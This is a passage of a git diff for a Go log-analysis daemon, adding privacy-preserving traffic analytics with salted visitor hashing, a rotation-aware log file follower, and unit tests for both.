regexp.MustCompile(`^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$`) + +// normalizePath turns token-like path segments (UUIDs, long hex or mixed +// alphanumeric ids, long numbers) into ":id" so a top-pages list is not +// filled by one-off URLs and a token in a URL is not kept. +func normalizePath(p string) string { + if !strings.ContainsAny(p, "0123456789") { + return p + } + parts := strings.Split(p, "/") + for i, seg := range parts { + if len(seg) >= 16 && uuidRe.MatchString(seg) { + parts[i] = ":id" + continue + } + if len(seg) >= 16 && !strings.ContainsAny(seg, "-_.") && strings.ContainsAny(seg, "0123456789") && alnum(seg) { + parts[i] = ":id" + continue + } + if len(seg) >= 8 && allDigits(seg) { + parts[i] = ":id" + } + } + return strings.Join(parts, "/") +} + +func alnum(s string) bool { + for _, r := range s { + if !(r >= '0' && r <= '9' || r >= 'a' && r <= 'z' || r >= 'A' && r <= 'Z') { + return false + } + } + return true +} + +func allDigits(s string) bool { + for _, r := range s { + if r < '0' || r > '9' { + return false + } + } + return true +} + +// Traffic records one legitimate request (category ok or notfound) for the +// analytics view. Attack traffic, monitoring probes and forged monitors must +// not be passed here. +func (s *Store) Traffic(ev core.Event) { + now := s.now() + if ev.Time.Before(now.Add(-s.cfg.Retention)) || ev.Source != "traefik" { + return + } + ts := ev.Time.Unix() + if max := now.Unix() + 300; ts > max { + ts = max + } + dom := normDomain(ev.Domain) + day := ts / 86400 + s.mu.Lock() + defer s.mu.Unlock() + d := s.domLocked(dom, ev.Status) + if d == nil { + return + } + d.Last = ts + + m := ts / 60 + mi := int(m % anMinutes) + if d.MinSt[mi] != m { + d.MinSt[mi], d.MinReq[mi], d.MinPages[mi] = m, 0, 0 + } + d.MinReq[mi]++ + + h := ts / 3600 + hs := &d.Hours[int(h%hourSlots)] + if hs.Hour != h { + *hs = anHour{Hour: h} + } + hs.Req++ + hs.Bytes += uint64(max64(ev.Bytes, 0)) + if c := ev.Status/100 - 2; c >= 0 && c < 4 { + hs.S[c]++ + } + if ev.DurationNS > 0 { + hs.Lat[latBucket(ev.DurationNS)]++ + } + + dd := &d.Days[int(day%8)] + if dd.Day != day { + *dd = anDay{Day: day} + } + if ev.E.Bot { + hs.Bots++ + name := ev.E.BotName + if name == "" { + name = "bot" + } + bumpCap(&dd.Bots, name, anTop) + return + } + if !isPageView(ev) { + return + } + hs.Pages++ + d.MinPages[mi]++ + p := ev.Path + if i := strings.IndexAny(p, "?#"); i >= 0 { + p = p[:i] + } + bumpCap(&dd.Pages, normalizePath(p), anTop) + bumpCap(&dd.Refs, refHost(ev.Referer, dom), anTop) + + // unique visitor, today's salt + if s.tr.saltDay != day { + rand.Read(s.tr.salt[:]) + s.tr.saltDay = day + } + if d.visDay != day || d.vis == nil { + if day < d.visDay { + return // older than the day being counted (out of order): no visitor accounting + } + d.vis, d.visDay = make(map[uint64]struct{}, 64), day + } + hsum := sha256.New() + hsum.Write(s.tr.salt[:]) + hsum.Write([]byte(ev.IP)) + hsum.Write([]byte{0}) + hsum.Write([]byte(ev.UA)) + hsum.Write([]byte{0}) + hsum.Write([]byte(dom)) + var sum [32]byte + hsum.Sum(sum[:0]) + var key uint64 + for i := 0; i < 8; i++ { + key = key<<8 | uint64(sum[i]) + } + if _, seen := d.vis[key]; seen || len(d.vis) >= visCap { + return + } + d.vis[key] = struct{}{} + dd.Visitors++ + if ev.E.CC != "" { + bumpCap(&dd.Countries, ev.E.CC, 300) + } + if ev.E.City != "" { + city := ev.E.City + if ev.E.CC != "" { + city += ", " + ev.E.CC + } + bumpCap(&dd.Cities, city, anTop) + } + bumpCap(&dd.Browsers, orUnknown(ev.E.Browser), anTop) + bumpCap(&dd.OSes, orUnknown(ev.E.OS), anTop) + bumpCap(&dd.Devices, orUnknown(ev.E.Device), 10) +} + +func max64(a, b int64) int64 { + if a > b { + return a + } + return b +} + +func orUnknown(s string) string { + if s == "" { + return "unknown" + } + return s +} + +// TrafficData is the mergeable analytics payload. +type TrafficData struct { + Host string `json:"host"` + Range string `json:"range"` + Domain string `json:"domain"` + Generated int64 `json:"generated"` + Domains []Count `json:"domains"` + Requests uint64 `json:"requests"` + Pages uint64 `json:"pages"` + Visitors uint64 `json:"visitors"` + Bots uint64 `json:"bots"` + Bytes uint64 `json:"bytes"` + Status [4]uint64 `json:"status"` + Lat [latN]uint64 `json:"lat"` + P50 float64 `json:"p50_ms"` + P95 float64 `json:"p95_ms"` + Timeline struct { + Start int64 `json:"start"` + Step int64 `json:"step"` + Req []uint32 `json:"req"` + Pages []uint32 `json:"pages"` + } `json:"timeline"` + TopPages []Count `json:"top_pages"` + Referrers []Count `json:"referrers"` + Countries []Count `json:"countries"` + Cities []Count `json:"cities"` + Browsers []Count `json:"browsers"` + OSes []Count `json:"oses"` + Devices []Count `json:"devices"` + BotNames []Count `json:"bot_names"` +} + +func quantile(h [latN]uint64, q float64) float64 { + var total uint64 + for _, v := range h { + total += v + } + if total == 0 { + return 0 + } + target := q * float64(total) + var cum float64 + lower := 0.0 + for i, v := range h { + upper := 20000.0 + if i < len(latBounds) { + upper = latBounds[i] + } + if cum+float64(v) >= target && v > 0 { + return lower + (upper-lower)*(target-cum)/float64(v) + } + cum += float64(v) + lower = upper + } + return lower +} + +// Finish recomputes derived values (percentiles) after a merge. +func (t *TrafficData) Finish() { + t.P50, t.P95 = round1(quantile(t.Lat, 0.5)), round1(quantile(t.Lat, 0.95)) +} + +// Traffic returns the analytics of one domain ("" or "all": every domain). +func (s *Store) TrafficSummary(rangeName, domain string) TrafficData { + rg := ParseRange(rangeName) + now := s.now().Unix() + out := TrafficData{Host: s.cfg.Name, Range: rg.Name, Domain: domain, Generated: now} + if out.Domain == "" { + out.Domain = "all" + } + // timeline grid + var nb int + var step int64 + switch rg.Name { + case "1h": + nb, step = 60, 60 + case "24h": + nb, step = 96, 900 + default: + nb, step = 168, 3600 + } + endB := now / step + start := (endB - int64(nb) + 1) * step + out.Timeline.Start, out.Timeline.Step = start, step + out.Timeline.Req, out.Timeline.Pages = make([]uint32, nb), make([]uint32, nb) + + firstHour := (now - int64(rg.Dur.Seconds())) / 3600 + firstDay := (now - int64(rg.Dur.Seconds())) / 86400 + maps := [8]map[string]uint32{{}, {}, {}, {}, {}, {}, {}, {}} + domReq := map[string]uint32{} + + s.mu.RLock() + for name, d := range s.tr.dom { + var reqRange uint32 + for i := range d.Hours { + h := &d.Hours[i] + if h.Hour == 0 || h.Hour < firstHour || h.Hour > now/3600+1 { + continue + } + reqRange += h.Req + if out.Domain != "all" && out.Domain != name { + continue + } + if rg.Name == "7d" { + out.Requests += uint64(h.Req) + out.Pages += uint64(h.Pages) + if b := (h.Hour*3600 - start) / step; b >= 0 && b < int64(nb) { + out.Timeline.Req[b] += h.Req + out.Timeline.Pages[b] += h.Pages + } + } + out.Bots += uint64(h.Bots) + out.Bytes += h.Bytes + for k, v := range h.S { + out.Status[k] += uint64(v) + } + for k, v := range h.Lat { + out.Lat[k] += uint64(v) + } + } + domReq[name] = reqRange + if out.Domain != "all" && out.Domain != name { + continue + } + if rg.Name != "7d" { + for m := start / 60; m <= now/60; m++ { + i := int(m % anMinutes) + if d.MinSt[i] != m { + continue + } + out.Requests += uint64(d.MinReq[i]) + out.Pages += uint64(d.MinPages[i]) + if b := (m*60 - start) / step; b >= 0 && b < int64(nb) { + out.Timeline.Req[b] += d.MinReq[i] + out.Timeline.Pages[b] += d.MinPages[i] + } + } + } + for i := range d.Days { + dd := &d.Days[i] + if dd.Day == 0 || dd.Day < firstDay || dd.Day > now/86400 { + continue + } + out.Visitors += uint64(dd.Visitors) + for k, src := range [8]map[string]uint32{dd.Pages, dd.Refs, dd.Countries, dd.Cities, dd.Browsers, dd.OSes, dd.Devices, dd.Bots} { + for key, v := range src { + maps[k][key] += v + } + } + } + } + s.mu.RUnlock() + + for name, n := range domReq { + if n > 0 { + out.Domains = append(out.Domains, Count{Key: name, N: n}) + } + } + sort.Slice(out.Domains, func(i, j int) bool { + if out.Domains[i].N != out.Domains[j].N { + return out.Domains[i].N > out.Domains[j].N + } + return out.Domains[i].Key < out.Domains[j].Key + }) + out.TopPages, out.Referrers, out.Countries, out.Cities = topN(maps[0], anTop), topN(maps[1], anTop), topN(maps[2], 120), topN(maps[3], anTop) + out.Browsers, out.OSes, out.Devices, out.BotNames = topN(maps[4], anTop), topN(maps[5], anTop), topN(maps[6], 10), topN(maps[7], anTop) + // Visitors come from daily buckets, pages from exact minutes: never report more visitors than page views. + if out.Visitors > out.Pages { + out.Visitors = out.Pages + } + out.Finish() + return out +} + +// MergeTraffic combines per-host analytics of the same range and domain. +func MergeTraffic(host string, parts []TrafficData) TrafficData { + if len(parts) == 0 { + return TrafficData{Host: host} + } + out := TrafficData{Host: host, Range: parts[0].Range, Domain: parts[0].Domain, Generated: parts[0].Generated} + out.Timeline.Start, out.Timeline.Step = parts[0].Timeline.Start, parts[0].Timeline.Step + nb := len(parts[0].Timeline.Req) + out.Timeline.Req, out.Timeline.Pages = make([]uint32, nb), make([]uint32, nb) + var doms, pages, refs, ctry, cities, br, oses, dev, bots [][]Count + for _, p := range parts { + out.Requests += p.Requests + out.Pages += p.Pages + out.Visitors += p.Visitors + out.Bots += p.Bots + out.Bytes += p.Bytes + for i := range p.Status { + out.Status[i] += p.Status[i] + } + for i := range p.Lat { + out.Lat[i] += p.Lat[i] + } + if p.Timeline.Step == out.Timeline.Step && out.Timeline.Step > 0 { + shift := (p.Timeline.Start - out.Timeline.Start) / out.Timeline.Step + for i := range p.Timeline.Req { + if j := int64(i) + shift; j >= 0 && j < int64(nb) { + out.Timeline.Req[j] += p.Timeline.Req[i] + out.Timeline.Pages[j] += p.Timeline.Pages[i] + } + } + } + doms, pages, refs = append(doms, p.Domains), append(pages, p.TopPages), append(refs, p.Referrers) + ctry, cities, br = append(ctry, p.Countries), append(cities, p.Cities), append(br, p.Browsers) + oses, dev, bots = append(oses, p.OSes), append(dev, p.Devices), append(bots, p.BotNames) + } + out.Domains, out.TopPages, out.Referrers = mergeCounts(maxDomains+1, doms...), mergeCounts(anTop, pages...), mergeCounts(anTop, refs...) + out.Countries, out.Cities, out.Browsers = mergeCounts(120, ctry...), mergeCounts(anTop, cities...), mergeCounts(anTop, br...) + out.OSes, out.Devices, out.BotNames = mergeCounts(anTop, oses...), mergeCounts(10, dev...), mergeCounts(anTop, bots...) + out.Finish() + return out +} diff --git a/internal/store/traffic_test.go b/internal/store/traffic_test.go new file mode 100644 index 0000000..8c86210 --- /dev/null +++ b/internal/store/traffic_test.go @@ -0,0 +1,143 @@ +package store + +import ( + "bytes" + "encoding/json" + "os" + "path/filepath" + "testing" + "time" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" +) + +func visit(ip, dom, path, ref string, status int, ago time.Duration) core.Event { + return core.Event{Time: t0.Add(-ago), IP: ip, Cat: core.OK, Source: "traefik", Domain: dom, Method: "GET", Path: path, UA: "Mozilla/5.0 test", + Status: status, DurationNS: 40e6, Bytes: 1000, Referer: ref, + E: core.Enrich{CC: "BR", City: "Recife", Browser: "Firefox", OS: "Linux", Device: "desktop"}} +} + +func TestTrafficAggregatesAndPrivacy(t *testing.T) { + s := newStore("oracle", 100) + for i := 0; i < 5; i++ { + s.Traffic(visit("200.100.50.25", "a.example", "/blog", "https://www.google.com/search?q=x", 200, time.Duration(i)*time.Minute)) + } + s.Traffic(visit("200.100.50.26", "a.example", "/", "https://a.example/blog", 200, time.Minute)) + s.Traffic(visit("200.100.50.26", "a.example", "/style.css", "", 200, time.Minute)) + s.Traffic(visit("200.100.50.27", "b.example", "/s.css", "", 200, time.Minute)) + s.Traffic(visit("200.100.50.27", "b.example", "/x", "", 404, time.Minute)) + bot := visit("66.249.66.1", "a.example", "/", "", 200, time.Minute) + bot.E = core.Enrich{Bot: true, BotName: "Googlebot", Device: "bot"} + s.Traffic(bot) + + all := s.TrafficSummary("24h", "all") + if all.Requests != 10 || all.Pages != 6 || all.Visitors != 2 || all.Bots != 1 { + t.Fatalf("all: %+v", all) + } + if all.Status[0] != 9 || all.Status[2] != 1 || all.Bytes != 10000 { + t.Fatalf("status/bytes %+v %d", all.Status, all.Bytes) + } + if all.P50 < 25 || all.P50 > 50 || all.P95 < 25 || all.P95 > 50 { + t.Fatalf("latency p50=%v p95=%v", all.P50, all.P95) + } + if len(all.Domains) != 2 || all.Domains[0].Key != "a.example" { + t.Fatalf("domains %+v", all.Domains) + } + if len(all.Referrers) != 1 || all.Referrers[0].Key != "google.com" || all.Referrers[0].N != 5 { + t.Fatalf("referrers (self referrals are not external): %+v", all.Referrers) + } + if all.Countries[0].Key != "BR" || all.Cities[0].Key != "Recife, BR" || all.Browsers[0].Key != "Firefox" || all.BotNames[0].Key != "Googlebot" { + t.Fatalf("breakdowns %+v", all) + } + for _, p := range all.TopPages { + if p.Key == "/style.css" { + t.Fatal("assets are not pages") + } + } + a := s.TrafficSummary("24h", "a.example") + if a.Requests != 8 || a.Visitors != 2 { + t.Fatalf("per domain %+v", a) + } + var tl uint32 + for _, v := range a.Timeline.Req { + tl += v + } + if tl != 8 { + t.Fatalf("timeline %d", tl) + } + if w := s.TrafficSummary("7d", "a.example"); w.Requests != 8 || w.Visitors != 2 { + t.Fatalf("7d %+v", w) + } + + // privacy: the visitor IPs reach neither the snapshot nor any API payload + p := filepath.Join(t.TempDir(), "state.gob") + if err := s.Save(p, nil); err != nil { + t.Fatal(err) + } + raw, _ := os.ReadFile(p) + api, _ := json.Marshal([]any{all, a, s.Summary("24h"), s.AllIPs(ParseRange("7d"), true)}) + for _, ip := range []string{"200.100.50.25", "200.100.50.26", "200.100.50.27", "66.249.66.1"} { + if bytes.Contains(raw, []byte(ip)) || bytes.Contains(api, []byte(ip)) { + t.Fatalf("visitor IP %s leaked", ip) + } + if _, ok := s.IP(ip); ok { + t.Fatalf("visitor IP %s is in the threat table", ip) + } + } + if bytes.Contains(raw, s.tr.salt[:]) { + t.Fatal("the daily salt must never reach the disk") + } + if s.tr.saltDay == 0 { + t.Fatal("test precondition: a salt was generated") + } + // the snapshot restores the aggregates + s2 := newStore("oracle", 100) + if _, err := s2.Load(p); err != nil { + t.Fatal(err) + } + if r := s2.TrafficSummary("24h", "all"); r.Requests != 10 || r.Visitors != 2 { + t.Fatalf("restored %+v", r) + } +} + +func TestMergeTrafficAndDomainCap(t *testing.T) { + a, b := newStore("oracle", 10), newStore("hostinger", 10) + a.Traffic(visit("1.1.1.1", "a.example", "/", "", 200, time.Minute)) + b.Traffic(visit("2.2.2.2", "a.example", "/", "", 200, time.Minute)) + b.Traffic(visit("2.2.2.3", "c.example", "/", "", 200, time.Minute)) + m := MergeTraffic("all", []TrafficData{a.TrafficSummary("1h", "all"), b.TrafficSummary("1h", "all")}) + if m.Requests != 3 || m.Visitors != 3 || len(m.Domains) != 2 || m.Domains[0].N != 2 || m.Countries[0].N != 3 { + t.Fatalf("%+v", m) + } + c := newStore("x", 10) + for i := 0; i < 60; i++ { + c.Traffic(visit("1.1.1.1", "d"+string(rune('a'+i%26))+string(rune('a'+i/26))+".example", "/", "", 200, time.Minute)) + } + if len(c.tr.dom) > maxDomains+1 { + t.Fatalf("domain cap: %d", len(c.tr.dom)) + } +} + +func TestToolBonusAndCountries(t *testing.T) { + s := newStore("x", 100) + e := ev("9.9.9.9", core.Scanner, time.Minute) + e.E = core.Enrich{CC: "RU", Tool: true} + s.Ingest(e) + n := ev("9.9.9.8", core.NotFound, time.Minute) + s.Ingest(n) + if _, ok := s.IP("9.9.9.8"); ok { + t.Fatal("404 without tool must not be tracked") + } + n.E.Tool = true + n.IP = "9.9.9.7" + s.Ingest(n) + if r, ok := s.IP("9.9.9.9"); !ok || r.Score != 5 { + t.Fatalf("tool bonus: %+v", r) + } + if r, ok := s.IP("9.9.9.7"); !ok || r.Score != 2.2 { + t.Fatalf("tool 404: %+v", r) + } + if c := s.Summary("1h").Countries; len(c) != 1 || c[0].Key != "RU" || c[0].N != 1 { + t.Fatalf("countries %+v", c) + } +} diff --git a/internal/tail/hardening_test.go b/internal/tail/hardening_test.go new file mode 100644 index 0000000..cfb9548 --- /dev/null +++ b/internal/tail/hardening_test.go @@ -0,0 +1,74 @@ +package tail + +import ( + "os" + "path/filepath" + "sync" + "testing" +) + +// copytruncate where the application regrows the file past the old offset +// before the next poll: the size never looks smaller, the head changes. +func TestCopytruncateRegrowIsDetected(t *testing.T) { + p := filepath.Join(t.TempDir(), "a.log") + os.WriteFile(p, []byte("l1\nl2\nl3\n"), 0o644) + var mu sync.Mutex + var got []string + f := NewFollower(p, Pos{}) + f.Handle = func(b []byte) { mu.Lock(); got = append(got, string(b)); mu.Unlock() } + f.step() + os.WriteFile(p, []byte("n1\nn2\nn3\nn4\nn5\n"), 0o644) // truncated in place and regrown beyond offset 9 + f.step() + f.step() + want := []string{"l1", "l2", "l3", "n1", "n2", "n3", "n4", "n5"} + if len(got) != len(want) { + t.Fatalf("lines %v, want %v", got, want) + } + for i := range want { + if got[i] != want[i] { + t.Fatalf("lines %v, want %v", got, want) + } + } +} + +// the same while the daemon was stopped: the saved position carries the fingerprint. +func TestSavedPositionDetectsRegrownFile(t *testing.T) { + p := filepath.Join(t.TempDir(), "a.log") + os.WriteFile(p, []byte("l1\nl2\nl3\n"), 0o644) + f := NewFollower(p, Pos{}) + f.Handle = func([]byte) {} + f.step() + pos := f.Pos() + f.closeFile() + if pos.FPLen == 0 { + t.Fatal("the position must carry a fingerprint") + } + os.WriteFile(p, []byte("n1\nn2\nn3\nn4\nn5\n"), 0o644) + var got []string + g := NewFollower(p, pos) + g.Handle = func(b []byte) { got = append(got, string(b)) } + g.step() + if len(got) != 5 || got[0] != "n1" { + t.Fatalf("resumed in the middle of a different file: %v", got) + } +} + +func TestFileAppearingLaterAndAppends(t *testing.T) { + p := filepath.Join(t.TempDir(), "later.log") + var got []string + f := NewFollower(p, Pos{}) + f.Handle = func(b []byte) { got = append(got, string(b)) } + f.step() + if f.Err() == nil { + t.Fatal("an absent file is reported") + } + os.WriteFile(p, []byte("a\nb\n"), 0o644) + f.step() + fh, _ := os.OpenFile(p, os.O_APPEND|os.O_WRONLY, 0) + fh.WriteString("c\n") + fh.Close() + f.step() + if len(got) != 3 || got[2] != "c" || f.Err() != nil { + t.Fatalf("%v %v", got, f.Err()) + } +} diff --git a/internal/tail/tail.go b/internal/tail/tail.go new file mode 100644 index 0000000..3b61ddc --- /dev/null +++ b/internal/tail/tail.go @@ -0,0 +1,380 @@ +// Package tail follows a log file across truncation and rotation, and reads +// rotated backups for backfill. +package tail + +import ( + "bufio" + "compress/gzip" + "context" + "errors" + "fmt" + "io" + "os" + "sort" + "strings" + "sync" + "syscall" + "time" +) + +// Pos is the resumable position inside a followed file. +type Pos struct { + Inode uint64 + Offset int64 + // FP fingerprints the first FPLen bytes of the file (FNV-1a). It catches + // copytruncate rotations where the file shrinks and regrows past the saved + // offset between two polls: the size alone would not show it. + FP uint64 + FPLen int +} + +const fpMax = 64 + +func fingerprint(b []byte) uint64 { + h := uint64(14695981039346656037) + for _, c := range b { + h ^= uint64(c) + h *= 1099511628211 + } + return h +} + +// headMatches reports whether the first fpLen bytes of fh still hash to fp. +func headMatches(fh *os.File, fp uint64, fpLen int) bool { + buf := make([]byte, fpLen) + n, err := fh.ReadAt(buf, 0) + return n == fpLen && (err == nil || err == io.EOF) && fingerprint(buf) == fp +} + +// Follower reads complete lines from Path as they appear. +type Follower struct { + Path string + MaxLine int // lines longer than this are skipped and reported + Poll time.Duration // default 500ms + Handle func(line []byte) // must not retain line + Oversize func() // called once per skipped oversized line + // Mu, when set, is held while Handle runs and the position advances, so a + // snapshot taking the same mutex sees state and offsets in agreement. + Mu *sync.Mutex + + mu sync.Mutex + pos Pos + err error + f *os.File + rd *bufio.Reader + // tail of an unterminated line, and whether we are discarding an oversized one + partial []byte + pending int + discard bool +} + +// NewFollower resumes from pos (zero value: start at the beginning). +func NewFollower(path string, pos Pos) *Follower { + return &Follower{Path: path, pos: pos, MaxLine: 64 * 1024, Poll: 500 * time.Millisecond} +} + +// Pos returns the current position. +func (f *Follower) Pos() Pos { f.mu.Lock(); defer f.mu.Unlock(); return f.pos } + +// Err returns the last open/read error, nil when the file is being followed. +func (f *Follower) Err() error { f.mu.Lock(); defer f.mu.Unlock(); return f.err } + +func (f *Follower) setErr(err error) { f.mu.Lock(); f.err = err; f.mu.Unlock() } + +func inodeOf(fi os.FileInfo) uint64 { + if st, ok := fi.Sys().(*syscall.Stat_t); ok { + return uint64(st.Ino) + } + return 0 +} + +func (f *Follower) closeFile() { + if f.f != nil { + f.f.Close() + f.f, f.rd = nil, nil + } + f.partial, f.discard, f.pending = nil, false, 0 +} + +func (f *Follower) open() error { + fh, err := os.Open(f.Path) + if err != nil { + return err + } + fi, err := fh.Stat() + if err != nil { + fh.Close() + return err + } + ino := inodeOf(fi) + p := f.Pos() + off := p.Offset + // A different inode than the saved one means the file was rotated while we + // were not looking; so does an offset past the end (truncation). + if (p.Inode != 0 && p.Inode != ino) || off > fi.Size() || off < 0 { + off = 0 + } + if off > 0 && p.FPLen > 0 && !headMatches(fh, p.FP, p.FPLen) { + off = 0 // same inode, different content at the start: truncated and regrown while we were away + } + if off > 0 { + if _, err := fh.Seek(off, io.SeekStart); err != nil { + fh.Close() + return err + } + } + f.f = fh + f.rd = bufio.NewReaderSize(fh, 64*1024) + f.partial, f.discard, f.pending = nil, false, 0 + f.mu.Lock() + f.pos = Pos{Inode: ino, Offset: off} + if off > 0 { + f.pos.FP, f.pos.FPLen = p.FP, p.FPLen + } + f.mu.Unlock() + return nil +} + +func (f *Follower) emit(line []byte, consumed int) { + if f.Mu != nil { + f.Mu.Lock() + } + if line != nil { + f.Handle(line) + } + f.mu.Lock() + f.pos.Offset += int64(consumed) + f.mu.Unlock() + if f.Mu != nil { + f.Mu.Unlock() + } +} + +// drain reads until EOF, emitting complete lines. The offset only advances +// past whole lines, so a restart never resumes in the middle of one. +func (f *Follower) drain() error { + for { + chunk, err := f.rd.ReadSlice('\n') + if len(chunk) > 0 { + f.pending += len(chunk) + if !f.discard { + if len(f.partial)+len(chunk) > f.MaxLine+2 { + f.discard = true + f.partial = f.partial[:0] + if f.Oversize != nil { + f.Oversize() + } + } else { + f.partial = append(f.partial, chunk...) + } + } + if chunk[len(chunk)-1] == '\n' { + var line []byte + if !f.discard { + line = trimEOL(f.partial) + if line == nil { + line = []byte{} + } + } + f.emit(line, f.pending) + f.partial = f.partial[:0] + f.pending = 0 + f.discard = false + } + } + switch { + case err == nil: + case errors.Is(err, bufio.ErrBufferFull): + case errors.Is(err, io.EOF): + return nil + default: + return err + } + } +} + +// Run follows the file until ctx is done. +func (f *Follower) Run(ctx context.Context) { + poll := f.Poll + if poll <= 0 { + poll = 500 * time.Millisecond + } + t := time.NewTicker(poll) + defer t.Stop() + defer f.closeFile() + for { + f.step() + select { + case <-ctx.Done(): + return + case <-t.C: + } + } +} + +func (f *Follower) step() { + if f.f == nil { + if err := f.open(); err != nil { + f.setErr(err) + return + } + } + f.verifyHead() + if f.f == nil { + return + } + if err := f.drain(); err != nil { + f.setErr(err) + f.closeFile() + return + } + f.setErr(nil) + f.recordHead() + // Detect rotation: truncation in place or a different file at the path. + fi, err := os.Stat(f.Path) + if err != nil { + return // path gone: keep draining the old handle until a new file appears + } + cur, err := f.f.Stat() + if err != nil { + f.closeFile() + return + } + switch { + case inodeOf(fi) != inodeOf(cur): + _ = f.drain() // finish the old file first + f.closeFile() + f.mu.Lock() + f.pos = Pos{} + f.mu.Unlock() + case cur.Size() < f.Pos().Offset: + f.closeFile() + f.mu.Lock() + f.pos = Pos{Inode: inodeOf(cur), Offset: 0} + f.mu.Unlock() + } +} + +func trimEOL(b []byte) []byte { + if n := len(b); n > 0 && b[n-1] == '\n' { + b = b[:n-1] + } + if n := len(b); n > 0 && b[n-1] == '\r' { + b = b[:n-1] + } + return b +} + +// Backups returns the rotated copies of path ordered from oldest to newest: +// path.N.gz ... path.1.gz and path.1. +func Backups(path string) []string { + type item struct { + n int + name string + } + var found []item + for n := 1; n <= 9; n++ { + for _, suf := range []string{".gz", ""} { + name := fmt.Sprintf("%s.%d%s", path, n, suf) + if _, err := os.Stat(name); err == nil { + found = append(found, item{n, name}) + break + } + } + } + sort.Slice(found, func(i, j int) bool { return found[i].n > found[j].n }) + out := make([]string, len(found)) + for i, it := range found { + out[i] = it.name + } + return out +} + +// ReadAll feeds every line of a (possibly gzip) file to handle. Oversized +// lines are skipped and reported through oversize. +func ReadAll(path string, maxLine int, handle func(line []byte), oversize func()) error { + fh, err := os.Open(path) + if err != nil { + return err + } + defer fh.Close() + var r io.Reader = fh + if strings.HasSuffix(path, ".gz") { + gz, err := gzip.NewReader(fh) + if err != nil { + return err + } + defer gz.Close() + r = gz + } + br := bufio.NewReaderSize(r, 64*1024) + var buf []byte + skipping := false + for { + chunk, err := br.ReadSlice('\n') + complete := len(chunk) > 0 && chunk[len(chunk)-1] == '\n' + if len(chunk) > 0 && !skipping { + if len(buf)+len(chunk) > maxLine+2 { + skipping = true + buf = buf[:0] + if oversize != nil { + oversize() + } + } else { + buf = append(buf, chunk...) + } + } + if complete { + if !skipping && len(buf) > 0 { + handle(trimEOL(buf)) + } + buf, skipping = buf[:0], false + } + if err != nil && !errors.Is(err, bufio.ErrBufferFull) { + if errors.Is(err, io.EOF) { + if !skipping && len(buf) > 0 { + handle(trimEOL(buf)) + } + return nil + } + return err + } + } +} + +// verifyHead resets the position when the head of the file changed under us +// (truncate-and-regrow with the same inode); it runs BEFORE reading, so the +// stale offset is never applied to the new content. +func (f *Follower) verifyHead() { + p := f.Pos() + if p.FPLen > 0 && !headMatches(f.f, p.FP, p.FPLen) { + f.closeFile() + if err := f.open(); err != nil { + f.setErr(err) + } + f.mu.Lock() + f.pos = Pos{Inode: f.pos.Inode} + f.mu.Unlock() + if f.f != nil { + f.f.Seek(0, io.SeekStart) + f.rd.Reset(f.f) + } + } +} + +// recordHead keeps the fingerprint of the first bytes already consumed. +func (f *Follower) recordHead() { + p := f.Pos() + if p.FPLen < fpMax && p.Offset > int64(p.FPLen) { + n := int(p.Offset) + if n > fpMax { + n = fpMax + } + buf := make([]byte, n) + if m, err := f.f.ReadAt(buf, 0); m == n && (err == nil || err == io.EOF) { + f.mu.Lock() + f.pos.FP, f.pos.FPLen = fingerprint(buf), n + f.mu.Unlock() + } + } +} diff --git a/internal/tail/tail_test.go b/internal/tail/tail_test.go new file mode 100644 index 0000000..e24393e --- /dev/null +++ b/internal/tail/tail_test.go @@ -0,0 +1,157 @@ +package tail + +import ( + "compress/gzip" + "context" + "os" + "path/filepath" + "strings" + "sync" + "testing" + "time" +) + +type sink struct { + mu sync.Mutex + lines []string +} + +func (s *sink) add(b []byte) { s.mu.Lock(); s.lines = append(s.lines, string(b)); s.mu.Unlock() } +func (s *sink) get() []string { + s.mu.Lock() + defer s.mu.Unlock() + return append([]string(nil), s.lines...) +} + +func waitFor(t *testing.T, s *sink, n int) { + t.Helper() + for i := 0; i < 200; i++ { + if len(s.get()) >= n { + return + } + time.Sleep(20 * time.Millisecond) + } + t.Fatalf("timeout waiting for %d lines, got %v", n, s.get()) +} + +func appendTo(t *testing.T, path, text string) { + t.Helper() + f, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o644) + if err != nil { + t.Fatal(err) + } + f.WriteString(text) + f.Close() +} + +func start(t *testing.T, path string, pos Pos) (*Follower, *sink, context.CancelFunc) { + f := NewFollower(path, pos) + f.Poll = 10 * time.Millisecond + s := &sink{} + f.Handle = s.add + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan struct{}) + go func() { f.Run(ctx); close(done) }() + return f, s, func() { cancel(); <-done } +} + +func TestFollowTruncateAndRename(t *testing.T) { + dir := t.TempDir() + p := filepath.Join(dir, "access.log") + appendTo(t, p, "a\nb\npart") + _, s, stop := start(t, p, Pos{}) + defer stop() + waitFor(t, s, 2) + appendTo(t, p, "ial\n") + waitFor(t, s, 3) + if got := s.get()[2]; got != "partial" { + t.Fatalf("partial line: %q", got) + } + // copy + truncate rotation (same inode, smaller size) + if err := os.Truncate(p, 0); err != nil { + t.Fatal(err) + } + time.Sleep(60 * time.Millisecond) + appendTo(t, p, "c\n") + waitFor(t, s, 4) + // rename + recreate (new inode); unread lines of the old file must survive + appendTo(t, p, "d\n") + if err := os.Rename(p, p+".1"); err != nil { + t.Fatal(err) + } + appendTo(t, p, "e\nf\n") + waitFor(t, s, 7) + got := strings.Join(s.get(), ",") + if got != "a,b,partial,c,d,e,f" { + t.Fatalf("got %s", got) + } +} + +func TestResumeAndOversize(t *testing.T) { + dir := t.TempDir() + p := filepath.Join(dir, "x.log") + appendTo(t, p, "one\ntwo\n") + f, s, stop := start(t, p, Pos{}) + waitFor(t, s, 2) + pos := f.Pos() + stop() + if pos.Offset != 8 || pos.Inode == 0 { + t.Fatalf("pos %+v", pos) + } + appendTo(t, p, "three\n") + f2, s2, stop2 := start(t, p, pos) + oversize := 0 + _ = f2 + waitFor(t, s2, 1) + stop2() + if l := s2.get(); len(l) != 1 || l[0] != "three" { + t.Fatalf("resume got %v", l) + } + // oversize line skipped and counted, following lines still read + p2 := filepath.Join(dir, "big.log") + appendTo(t, p2, strings.Repeat("x", 5000)+"\nok\n") + f3 := NewFollower(p2, Pos{}) + f3.MaxLine = 1000 + f3.Poll = 10 * time.Millisecond + s3 := &sink{} + f3.Handle = s3.add + f3.Oversize = func() { oversize++ } + ctx, cancel := context.WithCancel(context.Background()) + go f3.Run(ctx) + waitFor(t, s3, 1) + cancel() + if l := s3.get(); len(l) != 1 || l[0] != 